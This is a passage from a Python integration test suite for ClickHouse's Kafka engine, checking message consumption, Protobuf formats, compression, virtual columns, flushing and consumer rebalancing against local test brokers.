SETTINGS kafka_broker_list = 'kafka1:19092',
kafka_topic_list = 'pb',
kafka_group_name = 'pb',
kafka_format = 'Protobuf',
kafka_schema = 'kafka.proto:KeyValuePair';
''')
result = ''
while True:
result += instance.query('SELECT * FROM test.kafka', ignore_error=True)
if kafka_check_result(result):
break
kafka_check_result(result, True)
def test_kafka_string_field_on_first_position_in_protobuf(kafka_cluster):
# https://github.com/ClickHouse/ClickHouse/issues/12615
kafka_produce_protobuf_social(kafka_cluster, 'string_field_on_first_position_in_protobuf', 0, 20)
kafka_produce_protobuf_social(kafka_cluster, 'string_field_on_first_position_in_protobuf', 20, 1)
kafka_produce_protobuf_social(kafka_cluster, 'string_field_on_first_position_in_protobuf', 21, 29)
instance.query('''
CREATE TABLE test.kafka (
username String,
timestamp Int32
) ENGINE = Kafka()
SETTINGS
kafka_broker_list = 'kafka1:19092',
kafka_topic_list = 'string_field_on_first_position_in_protobuf',
kafka_group_name = 'string_field_on_first_position_in_protobuf',
kafka_format = 'Protobuf',
kafka_schema = 'social:User';
''')
result = instance.query('SELECT * FROM test.kafka', ignore_error=True)
expected = '''\
John Doe 0 1000000
John Doe 1 1000001
John Doe 2 1000002
John Doe 3 1000003
John Doe 4 1000004
John Doe 5 1000005
John Doe 6 1000006
John Doe 7 1000007
John Doe 8 1000008
John Doe 9 1000009
John Doe 10 1000010
John Doe 11 1000011
John Doe 12 1000012
John Doe 13 1000013
John Doe 14 1000014
John Doe 15 1000015
John Doe 16 1000016
John Doe 17 1000017
John Doe 18 1000018
John Doe 19 1000019
John Doe 20 1000020
John Doe 21 1000021
John Doe 22 1000022
John Doe 23 1000023
John Doe 24 1000024
John Doe 25 1000025
John Doe 26 1000026
John Doe 27 1000027
John Doe 28 1000028
John Doe 29 1000029
John Doe 30 1000030
John Doe 31 1000031
John Doe 32 1000032
John Doe 33 1000033
John Doe 34 1000034
John Doe 35 1000035
John Doe 36 1000036
John Doe 37 1000037
John Doe 38 1000038
John Doe 39 1000039
John Doe 40 1000040
John Doe 41 1000041
John Doe 42 1000042
John Doe 43 1000043
John Doe 44 1000044
John Doe 45 1000045
John Doe 46 1000046
John Doe 47 1000047
John Doe 48 1000048
John Doe 49 1000049
'''
assert TSV(result) == TSV(expected)
def test_kafka_protobuf_no_delimiter(kafka_cluster):
instance.query('''
CREATE TABLE test.kafka (key UInt64, value String)
ENGINE = Kafka
SETTINGS kafka_broker_list = 'kafka1:19092',
kafka_topic_list = 'pb_no_delimiter',
kafka_group_name = 'pb_no_delimiter',
kafka_format = 'ProtobufSingle',
kafka_schema = 'kafka.proto:KeyValuePair';
''')
kafka_produce_protobuf_messages_no_delimeters(kafka_cluster, 'pb_no_delimiter', 0, 20)
kafka_produce_protobuf_messages_no_delimeters(kafka_cluster, 'pb_no_delimiter', 20, 1)
kafka_produce_protobuf_messages_no_delimeters(kafka_cluster, 'pb_no_delimiter', 21, 29)
result = ''
while True:
result += instance.query('SELECT * FROM test.kafka', ignore_error=True)
if kafka_check_result(result):
break
kafka_check_result(result, True)
instance.query('''
CREATE TABLE test.kafka_writer (key UInt64, value String)
ENGINE = Kafka
SETTINGS kafka_broker_list = 'kafka1:19092',
kafka_topic_list = 'pb_no_delimiter',
kafka_group_name = 'pb_no_delimiter',
kafka_format = 'ProtobufSingle',
kafka_schema = 'kafka.proto:KeyValuePair';
''')
instance.query("INSERT INTO test.kafka_writer VALUES (13,'Friday'),(42,'Answer to the Ultimate Question of Life, the Universe, and Everything'), (110, 'just a number')")
time.sleep(1)
result = instance.query("SELECT * FROM test.kafka ORDER BY key", ignore_error=True)
expected = '''\
13 Friday
42 Answer to the Ultimate Question of Life, the Universe, and Everything
110 just a number
'''
assert TSV(result) == TSV(expected)
def test_kafka_materialized_view(kafka_cluster):
instance.query('''
DROP TABLE IF EXISTS test.view;
DROP TABLE IF EXISTS test.consumer;
CREATE TABLE test.kafka (key UInt64, value UInt64)
ENGINE = Kafka
SETTINGS kafka_broker_list = 'kafka1:19092',
kafka_topic_list = 'mv',
kafka_group_name = 'mv',
kafka_format = 'JSONEachRow',
kafka_row_delimiter = '\\n';
CREATE TABLE test.view (key UInt64, value UInt64)
ENGINE = MergeTree()
ORDER BY key;
CREATE MATERIALIZED VIEW test.consumer TO test.view AS
SELECT * FROM test.kafka;
''')
messages = []
for i in range(50):
messages.append(json.dumps({'key': i, 'value': i}))
kafka_produce(kafka_cluster, 'mv', messages)
while True:
result = instance.query('SELECT * FROM test.view')
if kafka_check_result(result):
break
instance.query('''
DROP TABLE test.consumer;
DROP TABLE test.view;
''')
kafka_check_result(result, True)
def test_kafka_recreate_kafka_table(kafka_cluster):
'''
Checks that materialized view work properly after dropping and recreating the Kafka table.
'''
# line for backporting:
# admin_client = KafkaAdminClient(bootstrap_servers="localhost:9092")
admin_client = KafkaAdminClient(bootstrap_servers="localhost:{}".format(kafka_cluster.kafka_port))
topic_name = "recreate_kafka_table"
kafka_create_topic(admin_client, topic_name, num_partitions=6)
instance.query('''
DROP TABLE IF EXISTS test.view;
DROP TABLE IF EXISTS test.consumer;
CREATE TABLE test.kafka (key UInt64, value UInt64)
ENGINE = Kafka
SETTINGS kafka_broker_list = 'kafka1:19092',
kafka_topic_list = 'recreate_kafka_table',
kafka_group_name = 'recreate_kafka_table_group',
kafka_format = 'JSONEachRow',
kafka_num_consumers = 6,
kafka_flush_interval_ms = 1000,
kafka_skip_broken_messages = 1048577;
CREATE TABLE test.view (key UInt64, value UInt64)
ENGINE = MergeTree()
ORDER BY key;
CREATE MATERIALIZED VIEW test.consumer TO test.view AS
SELECT * FROM test.kafka;
''')
messages = []
for i in range(120):
messages.append(json.dumps({'key': i, 'value': i}))
kafka_produce(kafka_cluster,'recreate_kafka_table', messages)
instance.wait_for_log_line('kafka.*Committed offset [0-9]+.*recreate_kafka_table', repetitions=6, look_behind_lines=100)
instance.query('''
DROP TABLE test.kafka;
''')
kafka_produce(kafka_cluster,'recreate_kafka_table', messages)
instance.query('''
CREATE TABLE test.kafka (key UInt64, value UInt64)
ENGINE = Kafka
SETTINGS kafka_broker_list = 'kafka1:19092',
kafka_topic_list = 'recreate_kafka_table',
kafka_group_name = 'recreate_kafka_table_group',
kafka_format = 'JSONEachRow',
kafka_num_consumers = 6,
kafka_flush_interval_ms = 1000,
kafka_skip_broken_messages = 1048577;
''')
instance.wait_for_log_line('kafka.*Committed offset [0-9]+.*recreate_kafka_table', repetitions=6, look_behind_lines=100)
# data was not flushed yet (it will be flushed 7.5 sec after creating MV)
assert int(instance.query("SELECT count() FROM test.view")) == 240
instance.query('''
DROP TABLE test.consumer;
DROP TABLE test.view;
''')
kafka_delete_topic(admin_client, topic_name)
def test_librdkafka_compression(kafka_cluster):
"""
Regression for UB in snappy-c (that is used in librdkafka),
backport pr is [1].
[1]: https://github.com/ClickHouse-Extras/librdkafka/pull/3
Example of corruption:
2020.12.10 09:59:56.831507 [ 20 ] {} <Error> void DB::StorageKafka::threadFunc(size_t): Code: 27. DB::Exception: Cannot parse input: expected '"' before: 'foo"}': (while reading the value of key value): (at row 1)
To trigger this regression there should duplicated messages
Orignal reproducer is:
$ gcc --version |& fgrep gcc
gcc (GCC) 10.2.0
$ yes foobarbaz | fold -w 80 | head -n10 >| in-โฆ
$ make clean && make CFLAGS='-Wall -g -O2 -ftree-loop-vectorize -DNDEBUG=1 -DSG=1 -fPIC'
$ ./verify in
final comparision of in failed at 20 of 100
"""
supported_compression_types = ['gzip', 'snappy', 'lz4', 'zstd', 'uncompressed']
messages = []
expected = []
value = 'foobarbaz'*10
number_of_messages = 50
for i in range(number_of_messages):
messages.append(json.dumps({'key': i, 'value': value}))
expected.append(f'{i}\t{value}')
expected = '\n'.join(expected)
for compression_type in supported_compression_types:
logging.debug(('Check compression {}'.format(compression_type)))
topic_name = 'test_librdkafka_compression_{}'.format(compression_type)
admin_client = KafkaAdminClient(bootstrap_servers="localhost:{}".format(kafka_cluster.kafka_port))
kafka_create_topic(admin_client, topic_name, config={'compression.type': compression_type})
instance.query('''
CREATE TABLE test.kafka (key UInt64, value String)
ENGINE = Kafka
SETTINGS kafka_broker_list = 'kafka1:19092',
kafka_topic_list = '{topic_name}',
kafka_group_name = '{topic_name}_group',
kafka_format = 'JSONEachRow',
kafka_flush_interval_ms = 1000;
CREATE MATERIALIZED VIEW test.consumer Engine=Log AS
SELECT * FROM test.kafka;
'''.format(topic_name=topic_name) )
kafka_produce(kafka_cluster, topic_name, messages)
instance.wait_for_log_line("Committed offset {}".format(number_of_messages))
result = instance.query('SELECT * FROM test.consumer')
assert TSV(result) == TSV(expected)
instance.query('DROP TABLE test.kafka SYNC')
instance.query('DROP TABLE test.consumer SYNC')
kafka_delete_topic(admin_client, topic_name)
def test_kafka_materialized_view_with_subquery(kafka_cluster):
instance.query('''
DROP TABLE IF EXISTS test.view;
DROP TABLE IF EXISTS test.consumer;
CREATE TABLE test.kafka (key UInt64, value UInt64)
ENGINE = Kafka
SETTINGS kafka_broker_list = 'kafka1:19092',
kafka_topic_list = 'mvsq',
kafka_group_name = 'mvsq',
kafka_format = 'JSONEachRow',
kafka_row_delimiter = '\\n';
CREATE TABLE test.view (key UInt64, value UInt64)
ENGINE = MergeTree()
ORDER BY key;
CREATE MATERIALIZED VIEW test.consumer TO test.view AS
SELECT * FROM (SELECT * FROM test.kafka);
''')
messages = []
for i in range(50):
messages.append(json.dumps({'key': i, 'value': i}))
kafka_produce(kafka_cluster, 'mvsq', messages)
while True:
result = instance.query('SELECT * FROM test.view')
if kafka_check_result(result):
break
instance.query('''
DROP TABLE test.consumer;
DROP TABLE test.view;
''')
kafka_check_result(result, True)
def test_kafka_many_materialized_views(kafka_cluster):
instance.query('''
DROP TABLE IF EXISTS test.view1;
DROP TABLE IF EXISTS test.view2;
DROP TABLE IF EXISTS test.consumer1;
DROP TABLE IF EXISTS test.consumer2;
CREATE TABLE test.kafka (key UInt64, value UInt64)
ENGINE = Kafka
SETTINGS kafka_broker_list = 'kafka1:19092',
kafka_topic_list = 'mmv',
kafka_group_name = 'mmv',
kafka_format = 'JSONEachRow',
kafka_row_delimiter = '\\n';
CREATE TABLE test.view1 (key UInt64, value UInt64)
ENGINE = MergeTree()
ORDER BY key;
CREATE TABLE test.view2 (key UInt64, value UInt64)
ENGINE = MergeTree()
ORDER BY key;
CREATE MATERIALIZED VIEW test.consumer1 TO test.view1 AS
SELECT * FROM test.kafka;
CREATE MATERIALIZED VIEW test.consumer2 TO test.view2 AS
SELECT * FROM test.kafka;
''')
messages = []
for i in range(50):
messages.append(json.dumps({'key': i, 'value': i}))
kafka_produce(kafka_cluster, 'mmv', messages)
while True:
result1 = instance.query('SELECT * FROM test.view1')
result2 = instance.query('SELECT * FROM test.view2')
if kafka_check_result(result1) and kafka_check_result(result2):
break
instance.query('''
DROP TABLE test.consumer1;
DROP TABLE test.consumer2;
DROP TABLE test.view1;
DROP TABLE test.view2;
''')
kafka_check_result(result1, True)
kafka_check_result(result2, True)
def test_kafka_flush_on_big_message(kafka_cluster):
# Create batchs of messages of size ~100Kb
kafka_messages = 1000
batch_messages = 1000
messages = [json.dumps({'key': i, 'value': 'x' * 100}) * batch_messages for i in range(kafka_messages)]
kafka_produce(kafka_cluster, 'flush', messages)
instance.query('''
DROP TABLE IF EXISTS test.view;
DROP TABLE IF EXISTS test.consumer;
CREATE TABLE test.kafka (key UInt64, value String)
ENGINE = Kafka
SETTINGS kafka_broker_list = 'kafka1:19092',
kafka_topic_list = 'flush',
kafka_group_name = 'flush',
kafka_format = 'JSONEachRow',
kafka_max_block_size = 10;
CREATE TABLE test.view (key UInt64, value String)
ENGINE = MergeTree
ORDER BY key;
CREATE MATERIALIZED VIEW test.consumer TO test.view AS
SELECT * FROM test.kafka;
''')
client = KafkaAdminClient(bootstrap_servers="localhost:{}".format(kafka_cluster.kafka_port))
received = False
while not received:
try:
offsets = client.list_consumer_group_offsets('flush')
for topic, offset in list(offsets.items()):
if topic.topic == 'flush' and offset.offset == kafka_messages:
received = True
break
except kafka.errors.GroupCoordinatorNotAvailableError:
continue
while True:
result = instance.query('SELECT count() FROM test.view')
if int(result) == kafka_messages * batch_messages:
break
instance.query('''
DROP TABLE test.consumer;
DROP TABLE test.view;
''')
assert int(result) == kafka_messages * batch_messages, 'ClickHouse lost some messages: {}'.format(result)
def test_kafka_virtual_columns(kafka_cluster):
instance.query('''
CREATE TABLE test.kafka (key UInt64, value UInt64)
ENGINE = Kafka
SETTINGS kafka_broker_list = 'kafka1:19092',
kafka_topic_list = 'virt1',
kafka_group_name = 'virt1',
kafka_format = 'JSONEachRow';
''')
messages = ''
for i in range(25):
messages += json.dumps({'key': i, 'value': i}) + '\n'
kafka_produce(kafka_cluster, 'virt1', [messages], 0)
messages = ''
for i in range(25, 50):
messages += json.dumps({'key': i, 'value': i}) + '\n'
kafka_produce(kafka_cluster, 'virt1', [messages], 0)
result = ''
while True:
result += instance.query(
'''SELECT _key, key, _topic, value, _offset, _partition, _timestamp = 0 ? '0000-00-00 00:00:00' : toString(_timestamp) AS _timestamp FROM test.kafka''',
ignore_error=True)
if kafka_check_result(result, False, 'test_kafka_virtual1.reference'):
break
kafka_check_result(result, True, 'test_kafka_virtual1.reference')
def test_kafka_virtual_columns_with_materialized_view(kafka_cluster):
instance.query('''
DROP TABLE IF EXISTS test.view;
DROP TABLE IF EXISTS test.consumer;
CREATE TABLE test.kafka (key UInt64, value UInt64)
ENGINE = Kafka
SETTINGS kafka_broker_list = 'kafka1:19092',
kafka_topic_list = 'virt2',
kafka_group_name = 'virt2',
kafka_format = 'JSONEachRow',
kafka_row_delimiter = '\\n';
CREATE TABLE test.view (key UInt64, value UInt64, kafka_key String, topic String, offset UInt64, partition UInt64, timestamp Nullable(DateTime('UTC')))
ENGINE = MergeTree()
ORDER BY key;
CREATE MATERIALIZED VIEW test.consumer TO test.view AS
SELECT *, _key as kafka_key, _topic as topic, _offset as offset, _partition as partition, _timestamp = 0 ? '0000-00-00 00:00:00' : toString(_timestamp) as timestamp FROM test.kafka;
''')
messages = []
for i in range(50):
messages.append(json.dumps({'key': i, 'value': i}))
kafka_produce(kafka_cluster, 'virt2', messages, 0)
sql = 'SELECT kafka_key, key, topic, value, offset, partition, timestamp FROM test.view ORDER BY kafka_key'
result = instance.query(sql)
iterations = 0
while not kafka_check_result(result, False, 'test_kafka_virtual2.reference') and iterations < 10:
time.sleep(3)
iterations += 1
result = instance.query(sql)
kafka_check_result(result, True, 'test_kafka_virtual2.reference')
instance.query('''
DROP TABLE test.consumer;
DROP TABLE test.view;
''')
def test_kafka_insert(kafka_cluster):
instance.query('''
CREATE TABLE test.kafka (key UInt64, value UInt64)
ENGINE = Kafka
SETTINGS kafka_broker_list = 'kafka1:19092',
kafka_topic_list = 'insert1',
kafka_group_name = 'insert1',
kafka_format = 'TSV',
kafka_row_delimiter = '\\n';
''')
values = []
for i in range(50):
values.append("({i}, {i})".format(i=i))
values = ','.join(values)
while True:
try:
instance.query("INSERT INTO test.kafka VALUES {}".format(values))
break
except QueryRuntimeException as e:
if 'Local: Timed out.' in str(e):
continue
else:
raise
messages = []
while True:
messages.extend(kafka_consume(kafka_cluster, 'insert1'))
if len(messages) == 50:
break
result = '\n'.join(messages)
kafka_check_result(result, True)
def test_kafka_produce_consume(kafka_cluster):
instance.query('''
DROP TABLE IF EXISTS test.view;
DROP TABLE IF EXISTS test.consumer;
CREATE TABLE test.kafka (key UInt64, value UInt64)
ENGINE = Kafka
SETTINGS kafka_broker_list = 'kafka1:19092',
kafka_topic_list = 'insert2',
kafka_group_name = 'insert2',
kafka_format = 'TSV',
kafka_row_delimiter = '\\n';
CREATE TABLE test.view (key UInt64, value UInt64)
ENGINE = MergeTree
ORDER BY key;
CREATE MATERIALIZED VIEW test.consumer TO test.view AS
SELECT * FROM test.kafka;
''')
messages_num = 10000
def insert():
values = []
for i in range(messages_num):
values.append("({i}, {i})".format(i=i))
values = ','.join(values)
while True:
try:
instance.query("INSERT INTO test.kafka VALUES {}".format(values))
break
except QueryRuntimeException as e:
if 'Local: Timed out.' in str(e):
continue
else:
raise
threads = []
threads_num = 16
for _ in range(threads_num):
threads.append(threading.Thread(target=insert))
for thread in threads:
time.sleep(random.uniform(0, 1))
thread.start()
while True:
result = instance.query('SELECT count() FROM test.view')
time.sleep(1)
if int(result) == messages_num * threads_num:
break
instance.query('''
DROP TABLE test.consumer;
DROP TABLE test.view;
''')
for thread in threads:
thread.join()
assert int(result) == messages_num * threads_num, 'ClickHouse lost some messages: {}'.format(result)
def test_kafka_commit_on_block_write(kafka_cluster):
instance.query('''
DROP TABLE IF EXISTS test.view;
DROP TABLE IF EXISTS test.consumer;
CREATE TABLE test.kafka (key UInt64, value UInt64)
ENGINE = Kafka
SETTINGS kafka_broker_list = 'kafka1:19092',
kafka_topic_list = 'block',
kafka_group_name = 'block',
kafka_format = 'JSONEachRow',
kafka_max_block_size = 100,
kafka_row_delimiter = '\\n';
CREATE TABLE test.view (key UInt64, value UInt64)
ENGINE = MergeTree()
ORDER BY key;
CREATE MATERIALIZED VIEW test.consumer TO test.view AS
SELECT * FROM test.kafka;
''')
cancel = threading.Event()
i = [0]
def produce():
while not cancel.is_set():
messages = []
for _ in range(101):
messages.append(json.dumps({'key': i[0], 'value': i[0]}))
i[0] += 1
kafka_produce(kafka_cluster, 'block', messages)
kafka_thread = threading.Thread(target=produce)
kafka_thread.start()
while int(instance.query('SELECT count() FROM test.view')) == 0:
time.sleep(1)
cancel.set()
instance.query('''
DROP TABLE test.kafka;
''')
instance.query('''
CREATE TABLE test.kafka (key UInt64, value UInt64)
ENGINE = Kafka
SETTINGS kafka_broker_list = 'kafka1:19092',
kafka_topic_list = 'block',
kafka_group_name = 'block',
kafka_format = 'JSONEachRow',
kafka_max_block_size = 100,
kafka_row_delimiter = '\\n';
''')
while int(instance.query('SELECT uniqExact(key) FROM test.view')) < i[0]:
time.sleep(1)
result = int(instance.query('SELECT count() == uniqExact(key) FROM test.view'))
instance.query('''
DROP TABLE test.consumer;
DROP TABLE test.view;
''')
kafka_thread.join()
assert result == 1, 'Messages from kafka get duplicated!'
def test_kafka_virtual_columns2(kafka_cluster):
admin_client = KafkaAdminClient(bootstrap_servers="localhost:{}".format(kafka_cluster.kafka_port))
kafka_create_topic(admin_client, "virt2_0", num_partitions=2)
kafka_create_topic(admin_client, "virt2_1", num_partitions=2)
instance.query('''
CREATE TABLE test.kafka (value UInt64)
ENGINE = Kafka
SETTINGS kafka_broker_list = 'kafka1:19092',
kafka_topic_list = 'virt2_0,virt2_1',
kafka_group_name = 'virt2',
kafka_num_consumers = 2,
kafka_format = 'JSONEachRow';
CREATE MATERIALIZED VIEW test.view Engine=Log AS
SELECT value, _key, _topic, _partition, _offset, toUnixTimestamp(_timestamp), toUnixTimestamp64Milli(_timestamp_ms), _headers.name, _headers.value FROM test.kafka;
''')
producer = KafkaProducer(bootstrap_servers="localhost:{}".format(cluster.kafka_port), value_serializer=producer_serializer, key_serializer=producer_serializer)
producer.send(topic='virt2_0', value=json.dumps({'value': 1}), partition=0, key='k1', timestamp_ms=1577836801001,
headers=[('content-encoding', b'base64')])
producer.send(topic='virt2_0', value=json.dumps({'value': 2}), partition=0, key='k2', timestamp_ms=1577836802002,
headers=[('empty_value', b''), ('', b'empty name'), ('', b''), ('repetition', b'1'), ('repetition', b'2')])
producer.flush()
producer.send(topic='virt2_0', value=json.dumps({'value': 3}), partition=1, key='k3', timestamp_ms=1577836803003,
headers=[('b', b'b'), ('a', b'a')])
producer.send(topic='virt2_0', value=json.dumps({'value': 4}), partition=1, key='k4', timestamp_ms=1577836804004,
headers=[('a', b'a'), ('b', b'b')])
producer.flush()
producer.send(topic='virt2_1', value=json.dumps({'value': 5}), partition=0, key='k5', timestamp_ms=1577836805005)
producer.send(topic='virt2_1', value=json.dumps({'value': 6}), partition=0, key='k6', timestamp_ms=1577836806006)
producer.flush()
producer.send(topic='virt2_1', value=json.dumps({'value': 7}), partition=1, key='k7', timestamp_ms=1577836807007)
producer.send(topic='virt2_1', value=json.dumps({'value': 8}), partition=1, key='k8', timestamp_ms=1577836808008)
producer.flush()
instance.wait_for_log_line('kafka.*Committed offset 2.*virt2_[01]', repetitions=4, look_behind_lines=6000)
members = describe_consumer_group(kafka_cluster, 'virt2')
# pprint.pprint(members)
# members[0]['client_id'] = 'ClickHouse-instance-test-kafka-0'
# members[1]['client_id'] = 'ClickHouse-instance-test-kafka-1'
result = instance.query("SELECT * FROM test.view ORDER BY value", ignore_error=True)
expected = '''\
1 k1 virt2_0 0 0 1577836801 1577836801001 ['content-encoding'] ['base64']
2 k2 virt2_0 0 1 1577836802 1577836802002 ['empty_value','','','repetition','repetition'] ['','empty name','','1','2']
3 k3 virt2_0 1 0 1577836803 1577836803003 ['b','a'] ['b','a']
4 k4 virt2_0 1 1 1577836804 1577836804004 ['a','b'] ['a','b']
5 k5 virt2_1 0 0 1577836805 1577836805005 [] []
6 k6 virt2_1 0 1 1577836806 1577836806006 [] []
7 k7 virt2_1 1 0 1577836807 1577836807007 [] []
8 k8 virt2_1 1 1 1577836808 1577836808008 [] []
'''
assert TSV(result) == TSV(expected)
kafka_delete_topic(admin_client, "virt2_0")
kafka_delete_topic(admin_client, "virt2_1")
def test_kafka_produce_key_timestamp(kafka_cluster):
admin_client = KafkaAdminClient(bootstrap_servers="localhost:{}".format(kafka_cluster.kafka_port))
topic_name = "insert3"
kafka_create_topic(admin_client, topic_name)
instance.query('''
DROP TABLE IF EXISTS test.view;
DROP TABLE IF EXISTS test.consumer;
CREATE TABLE test.kafka_writer (key UInt64, value UInt64, _key String, _timestamp DateTime('UTC'))
ENGINE = Kafka
SETTINGS kafka_broker_list = 'kafka1:19092',
kafka_topic_list = 'insert3',
kafka_group_name = 'insert3',
kafka_format = 'TSV',
kafka_row_delimiter = '\\n';
CREATE TABLE test.kafka (key UInt64, value UInt64, inserted_key String, inserted_timestamp DateTime('UTC'))
ENGINE = Kafka
SETTINGS kafka_broker_list = 'kafka1:19092',
kafka_topic_list = 'insert3',
kafka_group_name = 'insert3',
kafka_format = 'TSV',
kafka_row_delimiter = '\\n';
CREATE MATERIALIZED VIEW test.view Engine=Log AS
SELECT key, value, inserted_key, toUnixTimestamp(inserted_timestamp), _key, _topic, _partition, _offset, toUnixTimestamp(_timestamp) FROM test.kafka;
''')
instance.query("INSERT INTO test.kafka_writer VALUES ({},{},'{}',toDateTime({}))".format(1, 1, 'k1', 1577836801))
instance.query("INSERT INTO test.kafka_writer VALUES ({},{},'{}',toDateTime({}))".format(2, 2, 'k2', 1577836802))
instance.query(
"INSERT INTO test.kafka_writer VALUES ({},{},'{}',toDateTime({})),({},{},'{}',toDateTime({}))".format(3, 3,
'k3',
1577836803,
4, 4,
'k4',
1577836804))
instance.query("INSERT INTO test.kafka_writer VALUES ({},{},'{}',toDateTime({}))".format(5, 5, 'k5', 1577836805))
instance.wait_for_log_line("Committed offset 5")
result = instance.query("SELECT * FROM test.view ORDER BY value", ignore_error=True)
# logging.debug(result)
expected = '''\
1 1 k1 1577836801 k1 insert3 0 0 1577836801
2 2 k2 1577836802 k2 insert3 0 1 1577836802
3 3 k3 1577836803 k3 insert3 0 2 1577836803
4 4 k4 1577836804 k4 insert3 0 3 1577836804
5 5 k5 1577836805 k5 insert3 0 4 1577836805
'''
assert TSV(result) == TSV(expected)
kafka_delete_topic(admin_client, topic_name)
def test_kafka_flush_by_time(kafka_cluster):
admin_client = KafkaAdminClient(bootstrap_servers="localhost:{}".format(kafka_cluster.kafka_port))
topic_name = "flush_by_time"
kafka_create_topic(admin_client, topic_name)
instance.query('''
DROP TABLE IF EXISTS test.view;
DROP TABLE IF EXISTS test.consumer;
CREATE TABLE test.kafka (key UInt64, value UInt64)
ENGINE = Kafka
SETTINGS kafka_broker_list = 'kafka1:19092',
kafka_topic_list = 'flush_by_time',
kafka_group_name = 'flush_by_time',
kafka_format = 'JSONEachRow',
kafka_max_block_size = 100,
kafka_row_delimiter = '\\n';
SELECT * FROM test.kafka;
CREATE TABLE test.view (key UInt64, value UInt64, ts DateTime64(3) MATERIALIZED now64(3))
ENGINE = MergeTree()
ORDER BY key;
''')
cancel = threading.Event()
def produce():
while not cancel.is_set():
messages = []
messages.append(json.dumps({'key': 0, 'value': 0}))
kafka_produce(kafka_cluster, 'flush_by_time', messages)
time.sleep(0.8)
kafka_thread = threading.Thread(target=produce)
kafka_thread.start()
instance.query('''
CREATE MATERIALIZED VIEW test.consumer TO test.view AS
SELECT * FROM test.kafka;
''')
time.sleep(18)
result = instance.query('SELECT uniqExact(ts) = 2, count() >= 15 FROM test.view')
cancel.set()
kafka_thread.join()
# kafka_cluster.open_bash_shell('instance')
instance.query('''
DROP TABLE test.consumer;
DROP TABLE test.view;
''')
assert TSV(result) == TSV('1 1')
kafka_delete_topic(admin_client, topic_name)
def test_kafka_flush_by_block_size(kafka_cluster):
cancel = threading.Event()
def produce():
while not cancel.is_set():
messages = []
messages.append(json.dumps({'key': 0, 'value': 0}))
kafka_produce(kafka_cluster, 'flush_by_block_size', messages)
kafka_thread = threading.Thread(target=produce)
kafka_thread.start()
instance.query('''
DROP TABLE IF EXISTS test.view;
DROP TABLE IF EXISTS test.consumer;
CREATE TABLE test.kafka (key UInt64, value UInt64)
ENGINE = Kafka
SETTINGS kafka_broker_list = 'kafka1:19092',
kafka_topic_list = 'flush_by_block_size',
kafka_group_name = 'flush_by_block_size',
kafka_format = 'JSONEachRow',
kafka_max_block_size = 100,
kafka_poll_max_batch_size = 1,
kafka_flush_interval_ms = 120000, /* should not flush by time during test */
kafka_row_delimiter = '\\n';
CREATE TABLE test.view (key UInt64, value UInt64)
ENGINE = MergeTree()
ORDER BY key;
CREATE MATERIALIZED VIEW test.consumer TO test.view AS
SELECT * FROM test.kafka;
''')
# Wait for Kafka engine to consume this data
while 1 != int(instance.query(
"SELECT count() FROM system.parts WHERE database = 'test' AND table = 'view' AND name = 'all_1_1_0'")):
time.sleep(0.5)
cancel.set()
kafka_thread.join()
# more flushes can happens during test, we need to check only result of first flush (part named all_1_1_0).
result = instance.query("SELECT count() FROM test.view WHERE _part='all_1_1_0'")
# logging.debug(result)
instance.query('''
DROP TABLE test.consumer;
DROP TABLE test.view;
''')
# 100 = first poll should return 100 messages (and rows)
# not waiting for stream_flush_interval_ms
assert int(
result) == 100, 'Messages from kafka should be flushed when block of size kafka_max_block_size is formed!'
def test_kafka_lot_of_partitions_partial_commit_of_bulk(kafka_cluster):
admin_client = KafkaAdminClient(bootstrap_servers="localhost:{}".format(kafka_cluster.kafka_port))
topic_name = "topic_with_multiple_partitions2"
kafka_create_topic(admin_client, topic_name, num_partitions=10)
instance.query('''
DROP TABLE IF EXISTS test.view;
DROP TABLE IF EXISTS test.consumer;
CREATE TABLE test.kafka (key UInt64, value UInt64)
ENGINE = Kafka
SETTINGS kafka_broker_list = 'kafka1:19092',
kafka_topic_list = 'topic_with_multiple_partitions2',
kafka_group_name = 'topic_with_multiple_partitions2',
kafka_format = 'JSONEachRow',
kafka_max_block_size = 211,
kafka_flush_interval_ms = 500;
CREATE TABLE test.view (key UInt64, value UInt64)
ENGINE = MergeTree()
ORDER BY key;
CREATE MATERIALIZED VIEW test.consumer TO test.view AS
SELECT * FROM test.kafka;
''')
messages = []
count = 0
for dummy_msg in range(1000):
rows = []
for dummy_row in range(random.randrange(3, 10)):
count = count + 1
rows.append(json.dumps({'key': count, 'value': count}))
messages.append("\n".join(rows))
kafka_produce(kafka_cluster, 'topic_with_multiple_partitions2', messages)
instance.wait_for_log_line('kafka.*Stalled', repetitions=5)
result = instance.query('SELECT count(), uniqExact(key), max(key) FROM test.view')
logging.debug(result)
assert TSV(result) == TSV('{0}\t{0}\t{0}'.format(count))
instance.query('''
DROP TABLE test.consumer;
DROP TABLE test.view;
''')
kafka_delete_topic(admin_client, topic_name)
def test_kafka_rebalance(kafka_cluster):
NUMBER_OF_CONSURRENT_CONSUMERS = 11
instance.query('''
DROP TABLE IF EXISTS test.destination;
CREATE TABLE test.destination (
key UInt64,
value UInt64,
_topic String,
_key String,
_offset UInt64,
_partition UInt64,
_timestamp Nullable(DateTime('UTC')),
_consumed_by LowCardinality(String)
)
ENGINE = MergeTree()
ORDER BY key;
''')
# kafka_cluster.open_bash_shell('instance')
# time.sleep(2)
admin_client = KafkaAdminClient(bootstrap_servers="localhost:{}".format(kafka_cluster.kafka_port))
topic_name = "topic_with_multiple_partitions"
kafka_create_topic(admin_client, topic_name, num_partitions=11)
cancel = threading.Event()
msg_index = [0]
def produce():
while not cancel.is_set():
messages = []
for _ in range(59):
messages.append(json.dumps({'key': msg_index[0], 'value': msg_index[0]}))
msg_index[0] += 1
kafka_produce(kafka_cluster, 'topic_with_multiple_partitions', messages)
kafka_thread = threading.Thread(target=produce)
kafka_thread.start()
for consumer_index in range(NUMBER_OF_CONSURRENT_CONSUMERS):
table_name = 'kafka_consumer{}'.format(consumer_index)
logging.debug(("Setting up {}".format(table_name)))
instance.query('''
DROP TABLE IF EXISTS test.{0};
DROP TABLE IF EXISTS test.{0}_mv;
CREATE TABLE test.{0} (key UInt64, value UInt64)
ENGINE = Kafka
SETTINGS kafka_broker_list = 'kafka1:19092',
kafka_topic_list = 'topic_with_multiple_partitions',
kafka_group_name = 'rebalance_test_group',
kafka_format = 'JSONEachRow',
kafka_max_block_size = 33,
kafka_flush_interval_ms = 500;
CREATE MATERIALIZED VIEW test.{0}_mv TO test.destination AS
SELECT
key,
value,
_topic,
_key,
_offset,
_partition,
_timestamp,
'{0}' as _consumed_by
FROM test.{0};
'''.format(table_name))
# kafka_cluster.open_bash_shell('instance')
# Waiting for test.kafka_consumerX to start consume ...
